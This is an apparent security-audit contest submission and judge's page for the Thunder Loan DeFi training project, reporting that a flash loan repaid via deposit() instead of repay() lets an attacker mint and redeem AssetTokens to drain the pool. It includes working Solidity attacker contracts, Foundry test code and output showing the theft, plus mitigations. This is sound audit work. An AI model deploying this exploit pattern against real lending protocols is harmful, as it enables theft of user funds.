Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Flash loan can be repaid via `deposit()` instead of `repay()`, minting the attacker AssetTokens and draining the pool on `redeem()`

Description

Normal behavior: a borrower must return the borrowed amount plus fee, and flashloan verifies repayment. Repayment is meant to go through repay().

Specific issue: flashloan only checks that the AssetToken's underlying balance was restored (endingBalance >= startingBalance + fee); it never checks HOW. deposit() also transfers underlying into the same AssetToken, so calling deposit(token, amount+fee) inside executeOperation satisfies the check AND additionally mints AssetTokens to the attacker. Nothing blocks deposit/redeem during an active loan (s_currentlyFlashLoaning only gates repay(), and there is no reentrancy guard). After the loan returns, the attacker calls redeem() and pulls the underlying back out, keeping the principal.

// flashloan(): the only repayment check
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) { revert ThunderLoan__NotPaidBack(...); } // @> doesn't check HOW balance was restored
// deposit(): reachable mid-loan, mints AssetTokens to caller
assetToken.mint(msg.sender, mintAmount);
token.safeTransferFrom(msg.sender, address(assetToken), amount); // @> also satisfies the balance check

Risk

Likelihood:

  • Any attacker can call flashloan with a malicious receiver; nothing gates deposit/redeem during a loan.

Impact:

  • Direct theft of pool liquidity. Proven: attacker funded only the 1.5e18 fee and extracted 502e18 from a 1000e18 pool — net stolen 500.5e18 (>50% of TVL) in one transaction, repeatable to drain the rest.

Proof of Concept

The malicious executeOperation calls deposit(token, amount+fee) instead of repay(); after the loan a withdraw() calls redeem(). The test asserts the attacker profits far beyond the fee and the pool is drained. Full attacker contract + test in test/unit/DepositExploit.t.sol (PASSES).

function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
assetToken = thunderLoan.getAssetFromToken(IERC20(_token));
uint256 amountToDeposit = amount + fee;
IERC20(_token).approve(address(thunderLoan), amountToDeposit);
thunderLoan.deposit(IERC20(_token), amountToDeposit); // repay via deposit -> mints us AssetTokens
return true;
}
function withdraw() external { thunderLoan.redeem(token, assetToken.balanceOf(address(this))); token.transfer(msg.sender, token.balanceOf(address(this))); }
// test: borrow half of a 1000e18 pool, then withdraw

Run: forge test --match-test testStealViaDepositInsteadOfRepay -vvv

Pool underlying BEFORE attack: 1000000000000000000000
Attacker cost basis (fee): 1500000000000000000
Attacker FINAL balance: 502003255750999000997
Net stolen by attacker: 500503255750999000997

Recommended Mitigation

Do not infer repayment from raw balance. Track repayment through a dedicated path and block deposit/redeem during an active loan, plus a reentrancy guard.

function repay(IERC20 token, uint256 amount) public { ... } // force repayment through here
+ // in deposit()/redeem():
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();

Add ReentrancyGuard (nonReentrant) to flashloan, deposit, redeem, repay.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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